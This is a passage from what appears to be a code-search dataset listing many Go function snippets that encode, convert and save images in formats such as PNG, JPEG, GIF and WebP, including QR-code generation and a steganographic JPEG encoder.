len(m.Image) < 1 {\n\t\treturn errors.New(\"creating a gif with zero images isn't implemented\")\n\t}\n\n\t// Determine a logical size that contains all images.\n\tvar sizeX, sizeY int\n\tfor _, img := range m.Image {\n\t\tif img.Rect.Max.X > sizeX {\n\t\t\tsizeX = img.Rect.Max.X\n\t\t}\n\t\tif img.Rect.Max.Y > sizeY {\n\t\t\tsizeY = img.Rect.Max.Y\n\t\t}\n\t}\n\n\tif sizeX >= (1<<16) || sizeY >= (1<<16) {\n\t\treturn fmt.Errorf(\"logical size too large: (%v,%v)\", sizeX, sizeY)\n\t}\n\n\t// Arbitrarily make the first image's palette global.\n\tglobalPalette, colorBits, err := encodePalette(w, m.Image[0].Palette)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// header\n\tif err := writeData(w,\n\t\t[]byte(\"GIF89a\"),\n\t\tuint16(sizeX), uint16(sizeY),\n\t\tbyte(0xF0|colorBits-1),\n\t\tbyte(0), byte(0),\n\t\tglobalPalette,\n\t); err != nil {\n\t\treturn err\n\t}\n\n\t// only write loop count for animations\n\tif len(m.Image) > 1 {\n\t\tif err := writeData(w,\n\t\t\t[]byte{0x21, 0xff, 0x0b},\n\t\t\t[]byte(\"NETSCAPE2.0\"),\n\t\t\t[]byte{3, 1},\n\t\t\tuint16(m.LoopCount),\n\t\t\tbyte(0),\n\t\t); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor i, img := range m.Image {\n\t\t// write delay block\n\t\tif i < len(m.Delay) && m.Delay[i] != 0 {\n\t\t\terr = writeData(w,\n\t\t\t\t[]byte{0x21, 0xf9, 4, 0},\n\t\t\t\tuint16(m.Delay[i]),\n\t\t\t\t[]byte{0, 0},\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tlocalPalette, _, err := encodePalette(w, img.Palette)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !bytes.Equal(globalPalette, localPalette) {\n\t\t\treturn errors.New(\"different palettes not implemented\")\n\t\t}\n\n\t\tif err := encodeImageBlock(w, img); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// add trailer\n\t_, err = w.Write([]byte{byte(0x3b)})\n\treturn err\n}","func WriteImageToPath(img image.Image, path string) {\n\tf, err := os.Create(path + \".jpg\")\n\tif err != nil {\n\t\tlog.Fatalf(\"%s. Current dir: %s\", err, os.Args[0])\n\t}\n\tdefer f.Close()\n\terr = jpeg.Encode(f, img, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"Write err: %s. Current dir: %s\", err, os.Args[0])\n\t}\n}","func WriteCoinImg(slug string, i interface{}) bool {\n\tic := mod.Cache{Data: i}\n\treturn DB.Write(cfg.Web+\"/data/\"+slug, \"logo\", ic) == nil\n}","func (im *imageContrller) SerializeImage(img *image.RGBA) []color.RGBA {\n\tdata := make([]color.RGBA, 0)\n\n\tif img != nil {\n\t\tfor i := 0; i < img.Bounds().Size().X; i++ {\n\t\t\tfor j := 0; j < img.Bounds().Size().Y; j++ {\n\n\t\t\t\t// extract point data\n\t\t\t\trgba := img.At(i, j)\n\n\t\t\t\t// each channel data\n\t\t\t\tr, g, b, a := rgba.RGBA()\n\n\t\t\t\t// create raw data\n\t\t\t\trawdata := color.RGBA{\n\t\t\t\t\tR: uint8(r),\n\t\t\t\t\tG: uint8(g),\n\t\t\t\t\tB: uint8(b),\n\t\t\t\t\tA: uint8(a),\n\t\t\t\t}\n\n\t\t\t\t// stack data\n\t\t\t\tdata = append(data, rawdata)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn data\n}","func (c *Camera) Save(w io.Writer) error {\n\tif c.output == nil {\n\t\treturn fmt.Errorf(\"image must be rendered before saving it\")\n\t}\n\treturn png.Encode(w, c.output)\n}","func ToPng(imageBytes []byte) ([]byte, error) {\n\tcontentType := http.DetectContentType(imageBytes)\n\n\tswitch contentType {\n\tcase \"image/png\":\n\tcase \"image/jpeg\":\n\t\timg, err := jpeg.Decode(bytes.NewReader(imageBytes))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tbuf := new(bytes.Buffer)\n\t\tif err := png.Encode(buf, img); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn buf.Bytes(), nil\n\t}\n\treturn nil, fmt.Errorf(\"unable to convert %#v to png\", contentType)\n}","func PNG(filename string, l Level, text string) error {\n\treturn NewPNGWriter(l).QRFile(filename, text)\n}","func main() {\n\toutFilename := flag.String(\"out\", \"\", \"output file name\")\n\tquality := flag.Int(\"q\", 80, \"output JPEG quality\")\n\tflag.Parse()\n\tif len(flag.Args()) != 1 {\n\t\tlog.Fatalf(\"expected exactly 1 input file name\")\n\t}\n\n\tfilename := flag.Args()[0] // Image to convert\n\n\tswitch {\n\tcase *quality < 0:\n\t\t*quality = 0\n\tcase *quality > 100:\n\t\t*quality = 100\n\t}\n\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\tlog.Panicf(\"open input image: %v\", err)\n\t}\n\tdefer f.Close()\n\n\timg, err := png.Decode(f)\n\tif err != nil {\n\t\tlog.Panicf(\"decode input image: %v\", err)\n\t}\n\n\tif *outFilename == \"\" {\n\t\t*outFilename = strings.ReplaceAll(filename, \"png\", \"jpg\")\n\t}\n\n\toutFile, err := os.Create(*outFilename)\n\tif err != nil {\n\t\tlog.Panicf(\"create file: %v\", err)\n\t}\n\tdefer outFile.Close()\n\n\topts := &jpeg.Options{Quality: *quality}\n\tif err := jpeg.Encode(outFile, img, opts); err != nil {\n\t\tlog.Panicf(\"encode: %v\", err)\n\t}\n}","func (bc *BC) qrEncoder(file io.Writer, txt string) error {\n\n\t// Encode qr code\n\tqr, err := qr.Encode(txt, bc.qr.level, bc.qr.mode)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Scale to size w x h\n\tqr, err = barcode.Scale(qr, bc.w, bc.h)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// encode as png to io.Writer\n\treturn png.Encode(file, qr)\n}","func ConvertImage(img image.Image, format string) {\n\tf, err := os.Create(fmt.Sprintf(\"rome.%s\", format))\n\tif err != nil {\n\t\tlog.Panicln(\"Could not create file\")\n\t}\n\tdefer f.Close()\n\tswitch format {\n\tcase \"png\":\n\t\tpng.Encode(f, img)\n\tcase \"jpg\":\n\t\tjpeg.Encode(f, img, &jpeg.Options{Quality: *quality})\n\tcase \"webp\":\n\t\twebp.Encode(f, img, &webp.Options{Lossless: false, Quality: float32(*quality)})\n\tdefault:\n\t\tlog.Panicln(\"Format not supported\")\n\t}\n}","func EncodeImgToBase64(path string) (string, error) {\n\timgFile, err := os.Open(path)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"An error occured when opening the file: %v\", err)\n\t\treturn \"\", err\n\t}\n\n\tdefer imgFile.Close()\n\n\t// create a new buffer base on file size\n\tfInfo, err := imgFile.Stat()\n\tif err != nil {\n\t\tlog.Fatalf(\"An error occured when fetching file info: %v\", err)\n\t\treturn \"\", err\n\t}\n\n\tvar size int64 = fInfo.Size()\n\tbuf := make([]byte, size)\n\n\t// read file content into buffer\n\tfReader := bufio.NewReader(imgFile)\n\tfReader.Read(buf)\n\n\t// convert the buffer bytes to base64 string - use buf.Bytes() for new image\n\timgBase64Str := base64.StdEncoding.EncodeToString(buf)\n\n\treturn imgBase64Str, nil\n}","func (s *Scraper) recodePNG(url fmt.Stringer, b []byte) *bytes.Buffer {\n\tinBuf := bytes.NewBuffer(b)\n\timg, err := png.Decode(inBuf)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\toutBuf := s.encodeJPEG(img)\n\tif outBuf == nil || outBuf.Len() > len(b) { // only use the new file if it is smaller\n\t\treturn nil\n\t}\n\n\ts.logger.Debug(\"Recoded PNG\",\n\t\tlog.Stringer(\"URL\", url),\n\t\tlog.Int(\"size_original\", len(b)),\n\t\tlog.Int(\"size_recoded\", outBuf.Len()))\n\treturn outBuf\n}","func SaveImage(filename string, img image.Image, qual int) {\n\terr := imaging.Save(img, filename, imaging.JPEGQuality(qual))\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to save image: %v\", err)\n\t}\n}","func Hide(w io.Writer, m image.Image, data []byte, o *jpeg.Options) error {\n\tb := m.Bounds()\n\tif b.Dx() >= 1<<16 || b.Dy() >= 1<<16 {\n\t\treturn errors.New(\"jpeg: image is too large to encode\")\n\t}\n\tvar e encoder\n\te.data = data\n\tif ww, ok := w.(writer); ok {\n\t\te.w = ww\n\t} else {\n\t\te.w = bufio.NewWriter(w)\n\t}\n\t// Clip quality to [1, 100].\n\tquality := jpeg.DefaultQuality\n\tif o != nil {\n\t\tquality = o.Quality\n\t\tif quality < 1 {\n\t\t\tquality = 1\n\t\t} else if quality > 100 {\n\t\t\tquality = 100\n\t\t}\n\t}\n\t// Convert from a quality rating to a scaling factor.\n\tvar scale int\n\tif quality < 50 {\n\t\tscale = 5000 / quality\n\t} else {\n\t\tscale = 200 - quality*2\n\t}\n\t// Initialize the quantization tables.\n\tfor i := range e.quant {\n\t\tfor j := range e.quant[i] {\n\t\t\tx := int(unscaledQuant[i][j])\n\t\t\tx = (x*scale + 50) / 100\n\t\t\tif x < 1 {\n\t\t\t\tx = 1\n\t\t\t} else if x > 255 {\n\t\t\t\tx = 255\n\t\t\t}\n\t\t\te.quant[i][j] = uint8(x)\n\t\t}\n\t}\n\t// Compute number of components based on input image type.\n\tnComponent := 3\n\tswitch m.(type) {\n\tcase *image.Gray:\n\t\tnComponent = 1\n\t}\n\t// Write the Start Of Image marker.\n\te.buf[0] = 0xff\n\te.buf[1] = 0xd8\n\te.write(e.buf[:2])\n\t// Write the quantization tables.\n\te.writeDQT()\n\t// Write the image dimensions.\n\te.writeSOF0(b.Size(), nComponent)\n\t// Write the Huffman tables.\n\te.writeDHT(nComponent)\n\t// Write the image data.\n\te.writeSOS(m)\n\tif len(e.data) > 0 {\n\t\treturn ErrTooSmall\n\t}\n\t// Write the End Of Image marker.\n\te.buf[0] = 0xff\n\te.buf[1] = 0xd9\n\te.write(e.buf[:2])\n\te.flush()\n\treturn e.err\n}","func Formatjpg(img image.Image, filepath string) (err error) {\n\tout, err := os.Create(filepath)\n\tdefer out.Close()\n\treturn jpeg.Encode(out, img, &jpeg.Options{Quality: 100})\n\n}","func (a *ImageApiService) ImageSaveAsPNG(ctx _context.Context, imageSaveAsPngParameters ImageSaveAsPngParameters) (ImageSaveAsPngResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue ImageSaveAsPngResponse\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/api/image/ImageSaveAsPNG\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json-patch+json\", \"application/json\", \"text/json\", \"application/_*+json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"text/plain\", \"application/json\", \"text/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &imageSaveAsPngParameters\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v ImageSaveAsPngResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}","func (img *Image) writeAsJPEG() (image.Image, error) {\n\tvar err error\n\text, err := imaging.FormatFromExtension(img.Extension)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"couldn't format from extension: %s\", img.Extension)\n\t}\n\n\tswitch ext {\n\tcase imaging.JPEG:\n\t\tbreak\n\tcase imaging.PNG:\n\t\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\n\t\tbreak\n\tcase imaging.GIF:\n\t\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\n\t\tbreak\n\tdefault:\n\t\terr = errors.New(\"format is not supported yet\")\n\t\tbreak\n\t}\n\treturn img.Image, err\n}","func (d *Docker) SaveImage(ids []string, path string) error {\n\tfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\tout, err := d.ImageSave(context.TODO(), ids)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif _, err = io.Copy(file, out); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (s *StegImage) WriteNewImageToB64() (b64Img string, err error) {\n\tbuf := new(bytes.Buffer)\n\terr = png.Encode(buf, s.newImg)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tb64Img = base64.StdEncoding.EncodeToString(buf.Bytes())\n\treturn b64Img, err\n}","func Image(fnameIn, color string, length float64) (err error) {\n\tcmd := []string{\"-i\", fnameIn, \"-o\", fnameIn + \".png\", \"--background-color\", \"ffffff00\", \"--waveform-color\", color, \"--amplitude-scale\", \"1\", \"--no-axis-labels\", \"--pixels-per-second\", \"100\", \"--height\", \"120\", \"--width\",\n\t\tfmt.Sprintf(\"%2.0f\", length*100)}\n\tlogger.Debug(cmd)\n\tout, err := exec.Command(\"audiowaveform\", cmd...).CombinedOutput()\n\tif err != nil {\n\t\tlogger.Errorf(\"audiowaveform: %s\", out)\n\t}\n\treturn\n}","func (enc *JBIG2Encoder) EncodeJBIG2Image(img *JBIG2Image) ([]byte, error) {\n\tconst processName = \"core.EncodeJBIG2Image\"\n\tif err := enc.AddPageImage(img, &enc.DefaultPageSettings); err != nil {\n\t\treturn nil, errors.Wrap(err, processName, \"\")\n\t}\n\treturn enc.Encode()\n}","func EncodePngCompression(value int64) EncodePngAttr {\n\treturn func(m optionalAttr) {\n\t\tm[\"compression\"] = value\n\t}\n}"],"string":"[\n \"func (p *pngEncoder) Encode(img image.Image) error {\\n\\tfile, err := os.OpenFile(fmt.Sprintf(p.path, p.frame), os.O_WRONLY|os.O_CREATE, os.ModePerm)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = file.Truncate(0)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = png.Encode(file, img)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tp.frame++\\n\\treturn nil\\n}\",\n \"func Encode(w io.Writer, m image.Image) error {}\",\n \"func Encode(w io.Writer, m image.Image, o *Options) error\",\n \"func Encode(w io.Writer, m image.Image, o *Options) error\",\n \"func encodePNG(dstFilename string, src image.Image) error {\\n\\tf, err := os.Create(dstFilename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tencErr := png.Encode(f, src)\\n\\tcloseErr := f.Close()\\n\\tif encErr != nil {\\n\\t\\treturn encErr\\n\\t}\\n\\treturn closeErr\\n}\",\n \"func Encode(w io.Writer, img image.Image, format Format) error {\\n\\tvar err error\\n\\n\\tswitch format {\\n\\tcase PNG:\\n\\t\\terr = png.Encode(w, img)\\n\\tcase JPEG:\\n\\t\\terr = jpeg.Encode(w, img, &jpeg.Options{Quality: 95})\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func Encode(w io.Writer, m image.Image, opt *Options) (err error) {\\n\\treturn encode(w, m, opt)\\n}\",\n \"func WriteImage(i image.Image, path string) error {\\n\\tf, err := os.Create(path)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\t// Encode to `PNG` with `DefaultCompression` level\\n\\t// then save to file\\n\\terr = png.Encode(f, i)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func execEncode(_ int, p *gop.Context) {\\n\\targs := p.GetArgs(2)\\n\\tret := png.Encode(args[0].(io.Writer), args[1].(image.Image))\\n\\tp.Ret(2, ret)\\n}\",\n \"func SaveImage(img *image.Image, filename string) {\\n Trace.Println(\\\"SaveImage(\\\" + filename + \\\")\\\")\\n\\n out, err := os.Create(filename)\\n if err != nil {\\n Warning.Println(\\\"Unable to create file '\\\" + filename + \\\"': \\\" + err.Error())\\n }\\n\\n err = png.Encode(out, *img)\\n if err != nil {\\n Warning.Println(\\\"Unable to write '\\\" + filename + \\\"': \\\" + err.Error())\\n }\\n}\",\n \"func execmEncoderEncode(_ int, p *gop.Context) {\\n\\targs := p.GetArgs(3)\\n\\tret := args[0].(*png.Encoder).Encode(args[1].(io.Writer), args[2].(image.Image))\\n\\tp.Ret(3, ret)\\n}\",\n \"func saveImage(img image.Image, outputFilename string) {\\n\\toutFile, err := os.Create(outputFilename)\\n\\tif err != nil {\\n\\t\\tlogger.Fatal(err)\\n\\t}\\n\\n\\tdefer outFile.Close()\\n\\tb := bufio.NewWriter(outFile)\\n\\terr = png.Encode(b, img)\\n\\tif err != nil {\\n\\t\\tlogger.Fatal(err)\\n\\t}\\n\\n\\terr = b.Flush()\\n\\tif err != nil {\\n\\t\\tlogger.Fatal(err)\\n\\t}\\n}\",\n \"func EncodeImage(img draw.Image) {\\n\\tbounds := img.Bounds()\\n\\n\\tswitch inputImg := img.(type) {\\n\\n\\tcase *image.RGBA64:\\n\\t\\tfor i := bounds.Min.Y; i < bounds.Max.Y; i++ {\\n\\t\\t\\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\\n\\t\\t\\t\\tinputImg.SetRGBA64(j, i, EncodeColor(inputImg.RGBA64At(j, i)))\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tdefault:\\n\\t\\tfor i := bounds.Min.Y; i < bounds.Max.Y; i++ {\\n\\t\\t\\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\\n\\t\\t\\t\\timg.Set(j, i, EncodeColor(img.At(j, i)))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func encodePng(img image.Image) (data []byte, mime string, err error) {\\n\\tvar buf bytes.Buffer\\n\\terr = png.Encode(&buf, img)\\n\\tif err != nil {\\n\\t\\treturn nil, \\\"\\\", err\\n\\t}\\n\\treturn buf.Bytes(), \\\"image/png\\\", nil\\n}\",\n \"func EncodePng(scope *Scope, image tf.Output, optional ...EncodePngAttr) (contents tf.Output) {\\n\\tif scope.Err() != nil {\\n\\t\\treturn\\n\\t}\\n\\tattrs := map[string]interface{}{}\\n\\tfor _, a := range optional {\\n\\t\\ta(attrs)\\n\\t}\\n\\topspec := tf.OpSpec{\\n\\t\\tType: \\\"EncodePng\\\",\\n\\t\\tInput: []tf.Input{\\n\\t\\t\\timage,\\n\\t\\t},\\n\\t\\tAttrs: attrs,\\n\\t}\\n\\top := scope.AddOperation(opspec)\\n\\treturn op.Output(0)\\n}\",\n \"func WritePngImage(byteImage ByteImage, pngFile *os.File) (string, error) {\\n\\t// compute images values\\n\\timgWidth := byteImage.width\\n\\timgHeight := byteImage.height\\n\\t// create image\\n\\timgRect := image.Rect(0, 0, imgWidth, imgHeight)\\n\\timg := image.NewGray(imgRect)\\n\\timg.Pix = byteImage.bytes\\n\\timg.Stride = imgWidth\\n\\t// write image\\n\\terr := png.Encode(pngFile, img)\\n\\t// if err != nil {\\n\\t// \\tlog.Println(err)\\n\\t// \\tos.Exit(1)\\n\\t// }\\n\\treturn pngFile.Name(), err\\n}\",\n \"func WriteImage(imgToWrite image.Image, fileName string) {\\n\\tnewfile, err := os.Create(fileName)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer newfile.Close()\\n\\tpng.Encode(newfile, imgToWrite)\\n}\",\n \"func encodeImage(w io.Writer, img image.Image, format Format) bool {\\n\\tswitch format {\\n\\tcase JPEG:\\n\\t\\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 80}) != nil\\n\\n\\tcase PNG:\\n\\t\\tencoder := png.Encoder{CompressionLevel: 90 }\\n\\t\\treturn encoder.Encode(w, img) != nil\\n\\n\\t}\\n glog.Errorf(\\\"ERR: ErrUnsupportedFormat\\\")\\n\\treturn false\\n}\",\n \"func Encode(w io.Writer, m image.Image) error {\\n\\te := &encoder{\\n\\t\\tw: w,\\n\\t\\tbuff: bytes.NewBuffer([]byte{}),\\n\\t\\tzbuff: bytes.NewBuffer([]byte{}),\\n\\t\\tcrc: crc32.NewIEEE(),\\n\\t}\\n\\n\\tif err := png.Encode(e.buff, fixAlphaChannel(m)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := e.makeHeader(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := e.makeCgBI(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfor e.stage != dsSeenIEND {\\n\\t\\tif err := e.parseChunk(); err != nil {\\n\\t\\t\\tif err == io.EOF {\\n\\t\\t\\t\\terr = io.ErrUnexpectedEOF\\n\\t\\t\\t}\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func SaveImage(w io.Writer, content io.Reader, format string) error {\\n\\timg, _, err := image.Decode(content)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tswitch strings.ToLower(format) {\\n\\tcase \\\"img\\\":\\n\\t\\t_, err = io.Copy(w, content)\\n\\t\\treturn err\\n\\tcase \\\"gif\\\":\\n\\t\\treturn gif.Encode(w, img, nil)\\n\\tcase \\\"jpg\\\", \\\"jpeg\\\":\\n\\t\\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 100})\\n\\tcase \\\"png\\\":\\n\\t\\tpngEncoder := png.Encoder{CompressionLevel: png.BestCompression}\\n\\t\\treturn pngEncoder.Encode(w, img)\\n\\tdefault:\\n\\t\\treturn errors.New(\\\"format not found\\\")\\n\\t}\\n}\",\n \"func SaveImage(w io.Writer, content io.Reader, format string) error {\\n\\timg, _, err := image.Decode(content)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tswitch strings.ToLower(format) {\\n\\tcase \\\"img\\\":\\n\\t\\t_, err = io.Copy(w, content)\\n\\t\\treturn err\\n\\tcase \\\"gif\\\":\\n\\t\\treturn gif.Encode(w, img, nil)\\n\\tcase \\\"jpg\\\", \\\"jpeg\\\":\\n\\t\\treturn jpeg.Encode(w, img, nil)\\n\\tcase \\\"png\\\":\\n\\t\\treturn png.Encode(w, img)\\n\\tdefault:\\n\\t\\treturn errors.New(\\\"format not found\\\")\\n\\t}\\n}\",\n \"func Encode(w io.Writer, m image.Image, opt *Options) error {\\n\\tif opt != nil && opt.ColorModel != nil {\\n\\t\\tm = convert.ColorModel(m, opt.ColorModel)\\n\\t}\\n\\tif opt != nil && opt.Options != nil {\\n\\t\\treturn tiff.Encode(w, m, opt.Options)\\n\\t} else {\\n\\t\\treturn tiff.Encode(w, m, nil)\\n\\t}\\n}\",\n \"func writeImage(w http.ResponseWriter, img *image.Image) {\\r\\n\\r\\n\\tbuffer := new(bytes.Buffer)\\r\\n\\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\\r\\n\\t\\tlog.Println(\\\"unable to encode image.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"image/jpeg\\\")\\r\\n\\tw.Header().Set(\\\"Content-Length\\\", strconv.Itoa(len(buffer.Bytes())))\\r\\n\\tif _, err := w.Write(buffer.Bytes()); err != nil {\\r\\n\\t\\tlog.Println(\\\"unable to write image.\\\")\\r\\n\\t}\\r\\n}\",\n \"func Encode(nativeImage image.Image, parameters imageserver.Parameters) (*imageserver.Image, error) {\\n\\tbuf := new(bytes.Buffer)\\n\\terr := png.Encode(buf, nativeImage)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\timage := &imageserver.Image{\\n\\t\\tFormat: \\\"png\\\",\\n\\t\\tData: buf.Bytes(),\\n\\t}\\n\\n\\treturn image, nil\\n}\",\n \"func EncodeImage(filename string, src image.Image) error {\\n\\tf, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\tjpeg.Encode(f, src, nil)\\n\\treturn nil\\n}\",\n \"func save(fileName string, img image.Image) {\\n\\tfile, _ := os.Create(fileName)\\n\\tdefer file.Close()\\n\\tpng.Encode(file, img)\\n}\",\n \"func savePNG(name string, img image.Image) {\\n\\tfilename := outputPrefix + name + \\\".png\\\"\\n\\tfp, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\terr = png.Encode(fp, img)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func Formatpng(img image.Image, filepath string) (err error) {\\n\\tout, err := os.Create(filepath)\\n\\tdefer out.Close()\\n\\treturn png.Encode(out, img)\\n}\",\n \"func encodeGIFImage(gameID string, i int) (*image.Paletted, error) {\\n\\tf, err := os.Open(fileBaseFor(gameID, i) + \\\".png\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer f.Close()\\n\\tinPNG, err := png.Decode(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tbounds := inPNG.Bounds()\\n\\tmyPalette := append(palette.WebSafe, []color.Color{lightColor, darkColor}...)\\n\\tpalettedImage := image.NewPaletted(bounds, myPalette)\\n\\tdraw.Draw(palettedImage, palettedImage.Rect, inPNG, bounds.Min, draw.Over)\\n\\n\\treturn palettedImage, nil\\n}\",\n \"func writeImageWithTemplate(w http.ResponseWriter, img *image.Image) {\\n\\n\\tbuffer := new(bytes.Buffer)\\n\\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\\n\\t\\tlog.Fatalln(\\\"unable to encode image.\\\")\\n\\t}\\n\\n\\tstr := base64.StdEncoding.EncodeToString(buffer.Bytes())\\n\\tif tmpl, err := template.New(\\\"image\\\").Parse(ImageTemplate); err != nil {\\n\\t\\tlog.Println(\\\"unable to parse image template.\\\")\\n\\t} else {\\n\\t\\tdata := map[string]interface{}{\\\"Image\\\": str}\\n\\t\\tif err = tmpl.Execute(w, data); err != nil {\\n\\t\\t\\tlog.Println(\\\"unable to execute template.\\\")\\n\\t\\t}\\n\\t}\\n}\",\n \"func Encode(img *BC5, w io.Writer) error {\\n\\n\\theaderBytes := make([]byte, 12)\\n\\tbinary.BigEndian.PutUint32(headerBytes[:4], strToDword(\\\"BC5 \\\"))\\n\\tbinary.BigEndian.PutUint32(headerBytes[4:8], uint32(img.Rect.Size().X))\\n\\tbinary.BigEndian.PutUint32(headerBytes[8:12], uint32(img.Rect.Size().Y))\\n\\tn, err := w.Write(headerBytes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif n != 12 {\\n\\t\\treturn errors.New(\\\"failed to write header\\\")\\n\\t}\\n\\n\\tn, err = w.Write(img.Data)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif n != len(img.Data) {\\n\\t\\treturn errors.New(\\\"failed to write image data\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func exportPNG(img image.Image, path string) {\\n\\tout, err := os.Create(path)\\n\\tdefer out.Close()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tpng.Encode(out, img)\\n}\",\n \"func Encode(w io.Writer, m image.Image, opt *Options) error {\\n\\tif opt != nil && opt.ColorModel != nil {\\n\\t\\tm = convert.ColorModel(m, opt.ColorModel)\\n\\t}\\n\\treturn errors.New(\\\"jxr: Encode, unsupported\\\")\\n}\",\n \"func WritePNG(path string, newIMG image.Image) {\\n\\tbuf := 